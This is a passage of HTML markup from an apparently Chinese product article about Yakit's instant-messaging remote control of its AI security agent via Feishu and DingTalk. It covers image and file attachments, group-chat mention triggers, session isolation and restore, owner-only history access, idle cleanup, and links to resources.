YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">/no</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，任务停止。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">六、发图片也能用——附件 + Vision</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">你可以在 IM 里直接发图片或文件给 Agent。IM Engine 会：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.调飞书/钉钉的文件下载 API 把附件拉到本地临时目录</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.路径塞进 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">AIInputEvent.AttachedResourceInfo</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（file/file_path）</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.Agent 自动识别图片走 vision 管线</span></span></p><p style="margin-bottom: 8px;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mrxbnn7fwxd" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0846905537459284" data-type="png" data-w="614" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="614" data-height="666" data-imgfileid="100046370" src="https://wechat2rss.xlab.app/img-proxy/?k=5a18c174&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HgdneqOkZXC7F3km0NibvR2s5XCAF4CY7COeP2JC1cibXHZOymIHvzEJ8vhk7nJJxocpiaK9EpOpgzLcISQF8vlMKW3zhOnia9awo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">七、群聊里用：@机器人 才响应</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在群聊里，默认策略是 </span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">must_at</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——必须 @机器人 才会触发，避免每条群消息都惊动 Agent。私聊不受限制，发什么都响应。</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">群聊场景：</span></code><br/><br/><code><span leaf="">同事<span class="code-snippet__selector-tag">A</span>：今天天气不错          ← 不触发</span></code><br/><br/><code><span leaf="">同事<span class="code-snippet__selector-tag">B</span>：<span class="code-snippet__keyword">@YakBot</span> 扫下内网      ← 触发！</span></code><br/><br/><code><span leaf="">你：@YakBot /status          ← 触发！</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">/config</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 里可以切换成</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">allow_all</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（所有群消息都触发），但一般不建议——群太吵了。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">八、会话管理：多轮上下文 + 历史恢复</span></strong></p></div></div></div><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">8.1 多轮对话</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">每个 IM 会话按 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">(platform + chatID + senderID)</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 隔离，私聊一人一会话，群聊一聊一会话。上下文通过 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">persistentSessionId</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 映射到 AI Agent 的 TimelineSessionID，跨重启可恢复。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">发 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">/new</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 清空上下文，开新对话。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">8.2 浏览历史 + 恢复</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">bot 所有者在私聊里发 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">/session</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，能看到最近的 Yakit AI Session 列表，点「恢复」按钮或发 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">/session 2</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 就能切到指定历史会话，沿用之前的上下文继续聊。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrxbo3ks1gah" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.5904907975460123" data-type="png" data-w="652" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="652" data-height="1037" data-imgfileid="100046373" src="https://wechat2rss.xlab.app/img-proxy/?k=e82ac571&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FLFQo0qoHL3zp6Wv0xxrSb77icrY1gyIGiaS0vl8k4lCuib8EmoxtwV1Mzfd9IOgNXUvA4thweuAHjoXeU4WTvwvjExOHWYLUbRc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><blockquote><p><span leaf="">安全限制：只有 bot 所有者在</span><strong><span leaf=""><span textstyle="" style="color: rgb(255, 185, 149);">私聊</span></span></strong><span leaf="">里能浏览全局历史。群聊和共享用户只能看到当前 IM 会话，避免企业内分享后泄露历史。</span></p></blockquote><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">8.3 空闲自动回收</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">会话闲置超过 30 分钟（可配），IM Engine 自动关闭它的 gRPC 流释放资源。下次发消息会自动重建。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">总结</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Yakit 的 IM 远程控制功能，将 AI Agent 的安全执行能力延伸到了</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">飞书</span><span textstyle="" style="letter-spacing: 1px;">和</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">钉钉</span><span textstyle="" style="letter-spacing: 1px;">。只要 Yakit 引擎保持运行，用户无需守在电脑前，即可通过私聊或群聊发送命令、启动扫描、查看执行状态、审批敏感操作、上传图片与文件，并在 IM 中接收完整结果。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这套能力不仅解决了安全任务无法随时跟进的问题，还覆盖了交互卡片、任务终止、会话恢复、附件识别、群聊触发、权限隔离和回复颗粒度控制等场景。配合审批策略、按钮签名、白名单和历史访问限制，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">远程操作在提升便利性的同时，也保留了必要的安全边界。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">对于需要长时间运行扫描任务、频繁离开工作环境，或希望团队通过群聊协同执行安全任务的用户来说，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">IM 远程控制能够让 Yakit AI Agent 从桌面工具进一步变成一个随时可调用的安全执行助手。</span></span></p><div data-tools="135编辑器" data-id="163878" data-pm-slice="0 0 []"><div style="margin: 10px auto;padding-top: 10px;box-sizing: border-box;"><div style="border: 1px solid #ff9c19;background-color: #fffbef;box-sizing:border-box;"><div style="display: flex;justify-content: center;"><div style="background: linear-gradient(to right,#f04e12,#ff9b19);padding: 6px 35px;-webkit-clip-path: polygon(0 0,100% 0,90% 100%,10% 100%);margin-top: -10px;box-sizing:border-box;"><div style="display: flex;justify-content: center;"><div><p style="font-size: 16px;color: #ffffff;text-align: center;padding: 0 12px;box-sizing:border-box;"><span leaf="">END</span></p></div></div></div></div><div style="margin-top: 15px;"><div style="display: flex;justify-content: flex-start;margin: 0 15px;"><div data-mpa-action-id="mrxdnoohex8" data-pm-slice="0 0 []"><p style="font-size: 16px;color: rgb(210, 64, 12);text-align: left;padding: 0px 25px 0px 6px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-weight: bold;">YAK官方资源</span></span></p></div></div><div data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#333333;background-color: transparent;padding: 10px 20px;box-sizing:border-box;" data-mpa-action-id="mryegmidjp7" data-pm-slice="0 0 []"><p style="margin-bottom: 0px;"><span leaf="" mpa-font-style="mryegmhq1r1c" style="font-size: 13px;">Yak 语言官方教程：</span></p><p style="outline: 0px;margin-bottom: 0px;" data-nest-level="8"><span style="text-decoration: underline;outline: 0px;color: rgb(95, 156, 239);font-size: 13px;" data-nest-level="9" mpa-font-style="mryegmhq1jeu"><em style="outline: 0px;" data-nest-level="10"><span leaf="" data-nest-level="11"><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="margin-bottom: 0px;"><span leaf="" mpa-font-style="mryegmhqdti" style="font-size: 13px;">Yakit 视频教程：</span></p><p style="outline: 0px;margin-bottom: 0px;" data-nest-level="8"><span style="text-decoration: underline;outline: 0px;color: rgb(95, 156, 239);font-size: 13px;" data-nest-level="9" mpa-font-style="mryegmhq1tl2"><em style="outline: 0px;" data-nest-level="10"><span leaf="" data-nest-level="11"><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="margin-bottom: 0px;"><span leaf="" mpa-font-style="mryegmhq1c2a" style="font-size: 13px;">Github下载地址：</span></p><p style="outline: 0px;margin-bottom: 0px;" data-nest-level="8"><span style="text-decoration: underline;outline: 0px;color: rgb(95, 156, 239);font-size: 13px;" data-nest-level="9" mpa-font-style="mryegmhq1scc"><em style="outline: 0px;" data-nest-level="10"><span leaf="" data-nest-level="11"><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="margin-bottom: 0px;"><span leaf="" mpa-font-style="mryegmhq22t3" style="font-size: 13px;">Yakit官网下载地址：</span></p><p style="outline: 0px;margin-bottom: 0px;" data-nest-level="8"><span style="text-decoration: underline;outline: 0px;color: rgb(95, 156, 239);font-size: 13px;" data-nest-level="9" mpa-font-style="mryegmhq5co"><em style="outline: 0px;" data-nest-level="10"><span leaf="" data-nest-level="11"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="margin-bottom: 0px;"><span leaf="" mpa-font-style="mryegmhq1ur2" style="font-size: 13px;">Yakit安装文档：</span></p><p style="outline: 0px;margin-bottom: 0px;" data-nest-level="8"><span style="outline: 0px;color: rgb(95, 156, 239);font-size: 13px;" data-nest-level="9" mpa-font-style="mryegmhq1gj7"><em style="outline: 0px;" data-nest-level="10"><span style="outline: 0px;text-decoration: underline;" data-nest-level="11"><span leaf="" data-nest-level="12"><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="margin-bottom: 0px;"><span leaf="" mpa-font-style="mryegmhqdoh" style="font-size: 13px;">Yakit使用文档：</span></p><p style="outline: 0px;margin-bottom: 0px;" data-nest-level="8"><span style="text-decoration: underline;outline: 0px;color: rgb(95, 156, 239);font-size: 13px;" data-nest-level="9" mpa-font-style="mryegmhqqm7"><em style="outline: 0px;" data-nest-level="10"><span leaf="" data-nest-level="11"><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="margin-bottom: 0px;"><span leaf="" mpa-font-style="mryegmhqw0g" style="font-size: 13px;">Memfit下载地址：</span></p><p style="outline: 0px;margin-bottom: 0px;"><span leaf="" style="text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;outline: 0px;font-size: 13px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mryegmhq1p6s"><a href="https://memfit.ai/" target="_blank">https://memfit.ai/</a></span></p><p style="outline: 0px;margin-bottom: 0px;"><span data-pm-slice="0 0 []" mpa-font-style="mryegmhq1oij" style="font-size: 